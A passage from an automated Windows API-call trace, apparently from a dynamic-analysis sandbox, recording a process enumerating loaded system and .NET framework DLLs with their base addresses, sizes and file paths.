lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0063.791] CoTaskMemFree (pv=0x4e79258) [0063.791] GetModuleInformation (in: hProcess=0x28c, hModule=0x75e30000, lpmodinfo=0x262d960, cb=0xc | out: lpmodinfo=0x262d960*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0063.791] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.791] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75e30000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0063.792] CoTaskMemFree (pv=0x4e79258) [0063.792] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.792] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75e30000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0063.792] CoTaskMemFree (pv=0x4e79258) [0063.792] GetModuleInformation (in: hProcess=0x28c, hModule=0x762b0000, lpmodinfo=0x262fa6c, cb=0xc | out: lpmodinfo=0x262fa6c*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0063.792] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.792] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x762b0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0063.793] CoTaskMemFree (pv=0x4e79258) [0063.793] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.793] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x762b0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0063.793] CoTaskMemFree (pv=0x4e79258) [0063.793] GetModuleInformation (in: hProcess=0x28c, hModule=0x772d0000, lpmodinfo=0x2631b78, cb=0xc | out: lpmodinfo=0x2631b78*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0063.793] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.793] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x772d0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0063.794] CoTaskMemFree (pv=0x4e79258) [0063.794] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.794] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x772d0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0063.794] CoTaskMemFree (pv=0x4e79258) [0063.794] GetModuleInformation (in: hProcess=0x28c, hModule=0x753b0000, lpmodinfo=0x2633cd0, cb=0xc | out: lpmodinfo=0x2633cd0*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0063.795] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.795] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x753b0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0063.795] CoTaskMemFree (pv=0x4e79258) [0063.795] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.795] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x753b0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0063.795] CoTaskMemFree (pv=0x4e79258) [0063.795] GetModuleInformation (in: hProcess=0x28c, hModule=0x753a0000, lpmodinfo=0x2635ddc, cb=0xc | out: lpmodinfo=0x2635ddc*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0063.796] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.796] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x753a0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0063.796] CoTaskMemFree (pv=0x4e79258) [0063.796] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.796] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x753a0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0063.797] CoTaskMemFree (pv=0x4e79258) [0063.797] GetModuleInformation (in: hProcess=0x28c, hModule=0x751d0000, lpmodinfo=0x2637ef0, cb=0xc | out: lpmodinfo=0x2637ef0*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0063.797] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.797] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x751d0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0063.797] CoTaskMemFree (pv=0x4e79258) [0063.797] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.797] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x751d0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0063.798] CoTaskMemFree (pv=0x4e79258) [0063.798] GetModuleInformation (in: hProcess=0x28c, hModule=0x75ce0000, lpmodinfo=0x263a038, cb=0xc | out: lpmodinfo=0x263a038*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0063.798] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.798] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75ce0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0063.799] CoTaskMemFree (pv=0x4e79258) [0063.799] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.799] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75ce0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0063.799] CoTaskMemFree (pv=0x4e79258) [0063.799] GetModuleInformation (in: hProcess=0x28c, hModule=0x773c0000, lpmodinfo=0x263c144, cb=0xc | out: lpmodinfo=0x263c144*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0063.800] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.800] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x773c0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0063.800] CoTaskMemFree (pv=0x4e79258) [0063.800] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.800] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x773c0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0063.801] CoTaskMemFree (pv=0x4e79258) [0063.801] GetModuleInformation (in: hProcess=0x28c, hModule=0x756f0000, lpmodinfo=0x263e248, cb=0xc | out: lpmodinfo=0x263e248*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0063.801] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.801] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x756f0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0063.802] CoTaskMemFree (pv=0x4e79258) [0063.802] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.802] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x756f0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0063.802] CoTaskMemFree (pv=0x4e79258) [0063.802] GetModuleInformation (in: hProcess=0x28c, hModule=0x762d0000, lpmodinfo=0x2640354, cb=0xc | out: lpmodinfo=0x2640354*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0063.802] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.803] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x762d0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0063.803] CoTaskMemFree (pv=0x4e79258) [0063.803] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.803] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x762d0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0063.803] CoTaskMemFree (pv=0x4e79258) [0063.804] GetModuleInformation (in: hProcess=0x28c, hModule=0x75410000, lpmodinfo=0x2642450, cb=0xc | out: lpmodinfo=0x2642450*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0063.804] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.804] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75410000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0063.804] CoTaskMemFree (pv=0x4e79258) [0063.804] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.805] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75410000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0063.805] CoTaskMemFree (pv=0x4e79258) [0063.805] GetModuleInformation (in: hProcess=0x28c, hModule=0x76500000, lpmodinfo=0x26445e0, cb=0xc | out: lpmodinfo=0x26445e0*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0063.805] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.806] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x76500000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0063.806] CoTaskMemFree (pv=0x4e79258) [0063.806] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.806] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x76500000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0063.807] CoTaskMemFree (pv=0x4e79258) [0063.807] GetModuleInformation (in: hProcess=0x28c, hModule=0x75d40000, lpmodinfo=0x26466e4, cb=0xc | out: lpmodinfo=0x26466e4*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0063.807] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.807] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75d40000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0063.808] CoTaskMemFree (pv=0x4e79258) [0063.808] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.808] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75d40000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0063.808] CoTaskMemFree (pv=0x4e79258) [0063.808] GetModuleInformation (in: hProcess=0x28c, hModule=0x751c0000, lpmodinfo=0x26487e8, cb=0xc | out: lpmodinfo=0x26487e8*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0063.809] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.809] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x751c0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0063.809] CoTaskMemFree (pv=0x4e79258) [0063.809] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.809] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x751c0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0063.810] CoTaskMemFree (pv=0x4e79258) [0063.810] GetModuleInformation (in: hProcess=0x28c, hModule=0x74630000, lpmodinfo=0x264a8f4, cb=0xc | out: lpmodinfo=0x264a8f4*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0063.810] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.811] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74630000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0063.811] CoTaskMemFree (pv=0x4e79258) [0063.811] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.811] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74630000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0063.812] CoTaskMemFree (pv=0x4e79258) [0063.812] GetModuleInformation (in: hProcess=0x28c, hModule=0x750c0000, lpmodinfo=0x264ca24, cb=0xc | out: lpmodinfo=0x264ca24*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0063.812] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.812] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x750c0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0063.813] CoTaskMemFree (pv=0x4e79258) [0063.813] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.813] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x750c0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0063.813] CoTaskMemFree (pv=0x4e79258) [0063.813] GetModuleInformation (in: hProcess=0x28c, hModule=0x72500000, lpmodinfo=0x264eb58, cb=0xc | out: lpmodinfo=0x264eb58*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0063.814] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.814] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x72500000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0063.815] CoTaskMemFree (pv=0x4e79258) [0063.815] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.815] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x72500000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0063.815] CoTaskMemFree (pv=0x4e79258) [0063.815] GetModuleInformation (in: hProcess=0x28c, hModule=0x75540000, lpmodinfo=0x2650d00, cb=0xc | out: lpmodinfo=0x2650d00*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0063.816] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.816] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75540000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0063.817] CoTaskMemFree (pv=0x4e79258) [0063.817] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.817] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75540000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0063.817] CoTaskMemFree (pv=0x4e79258) [0063.817] GetModuleInformation (in: hProcess=0x28c, hModule=0x74d00000, lpmodinfo=0x2652e04, cb=0xc | out: lpmodinfo=0x2652e04*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0063.818] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.818] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74d00000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0063.818] CoTaskMemFree (pv=0x4e79258) [0063.818] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.819] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74d00000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0063.819] CoTaskMemFree (pv=0x4e79258) [0063.819] GetModuleInformation (in: hProcess=0x28c, hModule=0x71b50000, lpmodinfo=0x2654f10, cb=0xc | out: lpmodinfo=0x2654f10*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0063.820] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.820] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x71b50000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0063.820] CoTaskMemFree (pv=0x4e79258) [0063.820] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.820] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x71b50000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0063.821] CoTaskMemFree (pv=0x4e79258) [0063.821] GetModuleInformation (in: hProcess=0x28c, hModule=0x71430000, lpmodinfo=0x26570ac, cb=0xc | out: lpmodinfo=0x26570ac*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0063.822] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.822] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x71430000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0063.822] CoTaskMemFree (pv=0x4e79258) [0063.822] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.822] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x71430000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0063.823] CoTaskMemFree (pv=0x4e79258) [0063.823] GetModuleInformation (in: hProcess=0x28c, hModule=0x74ef0000, lpmodinfo=0x2659268, cb=0xc | out: lpmodinfo=0x2659268*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0063.824] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.824] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74ef0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0063.825] CoTaskMemFree (pv=0x4e79258) [0063.825] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.825] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74ef0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0063.825] CoTaskMemFree (pv=0x4e79258) [0063.825] GetModuleInformation (in: hProcess=0x28c, hModule=0x74e70000, lpmodinfo=0x265b45c, cb=0xc | out: lpmodinfo=0x265b45c*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0063.826] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.826] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74e70000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0063.827] CoTaskMemFree (pv=0x4e79258) [0063.827] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.827] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74e70000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0063.827] CoTaskMemFree (pv=0x4e79258) [0063.827] GetModuleInformation (in: hProcess=0x28c, hModule=0x75f60000, lpmodinfo=0x265d59c, cb=0xc | out: lpmodinfo=0x265d59c*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0063.828] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.828] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75f60000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0063.829] CoTaskMemFree (pv=0x4e79258) [0063.829] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.829] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75f60000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0063.830] CoTaskMemFree (pv=0x4e79258) [0063.830] GetModuleInformation (in: hProcess=0x28c, hModule=0x744a0000, lpmodinfo=0x265f6b0, cb=0xc | out: lpmodinfo=0x265f6b0*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0063.830] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.830] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x744a0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0063.832] CoTaskMemFree (pv=0x4e79258) [0063.832] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.832] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x744a0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0063.833] CoTaskMemFree (pv=0x4e79258) [0063.833] GetModuleInformation (in: hProcess=0x28c, hModule=0x707d0000, lpmodinfo=0x266187c, cb=0xc | out: lpmodinfo=0x266187c*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0063.833] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.833] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x707d0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0063.834] CoTaskMemFree (pv=0x4e79258) [0063.834] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.834] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x707d0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0063.835] CoTaskMemFree (pv=0x4e79258) [0063.835] GetModuleInformation (in: hProcess=0x28c, hModule=0x74e50000, lpmodinfo=0x2663a6c, cb=0xc | out: lpmodinfo=0x2663a6c*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0063.836] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.836] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74e50000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0063.836] CoTaskMemFree (pv=0x4e79258) [0063.836] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.836] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74e50000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0063.837] CoTaskMemFree (pv=0x4e79258) [0063.837] GetModuleInformation (in: hProcess=0x28c, hModule=0x74460000, lpmodinfo=0x2665c84, cb=0xc | out: lpmodinfo=0x2665c84*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0063.838] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.838] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74460000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0063.839] CoTaskMemFree (pv=0x4e79258) [0063.839] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.839] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74460000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0063.840] CoTaskMemFree (pv=0x4e79258) [0063.840] GetModuleInformation (in: hProcess=0x28c, hModule=0x743d0000, lpmodinfo=0x2667d90, cb=0xc | out: lpmodinfo=0x2667d90*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0063.840] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.840] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x743d0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0063.841] CoTaskMemFree (pv=0x4e79258) [0063.841] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.841] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x743d0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0063.842] CoTaskMemFree (pv=0x4e79258) [0063.842] GetModuleInformation (in: hProcess=0x28c, hModule=0x743b0000, lpmodinfo=0x2669f58, cb=0xc | out: lpmodinfo=0x2669f58*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0063.843] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.843] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x743b0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0063.844] CoTaskMemFree (pv=0x4e79258) [0063.844] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.844] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x743b0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0063.845] CoTaskMemFree 